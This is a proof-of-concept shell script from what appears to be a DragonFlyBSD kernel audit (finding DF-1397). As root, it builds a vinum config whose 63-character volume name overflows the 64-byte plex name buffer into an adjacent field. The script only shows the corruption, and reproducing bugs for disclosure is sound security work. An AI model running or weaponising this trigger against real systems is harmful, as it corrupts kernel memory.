DragonFlyBSD Kernel Audit
DF-1397 / live_repro.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-1397 live reproduction: vinum config_plex auto-naming overflow.
# Requires root (vinum create is root-only). Run on the DragonFly guest.
# Triggers strcpy(plex->name, VOL[].name) + strcat(".pN") with a 63-char
# volume name, overflowing the 64-byte name into the `organization` enum.
set -e
kldload vinum 2>/dev/null || true
cd /tmp
# 63-char volume name + unnamed plex (auto-named from the volume).
printf "volume %s\nplex org concat\n" "$(printf 'A%.0s' $(seq 1 63))" > vc.conf
echo "=== crafted config ==="
cat vc.conf
echo "=== vinum create ==="
vinum create -f vc.conf 2>&1
echo "=== vinum list (note the plex name length) ==="
vinum l 2>&1 | grep '^P '
# The plex name prints as 66 chars (63 A's + ".p0") proving the overflow:
# plex->name is 64 bytes; the terminator now lives inside `organization`.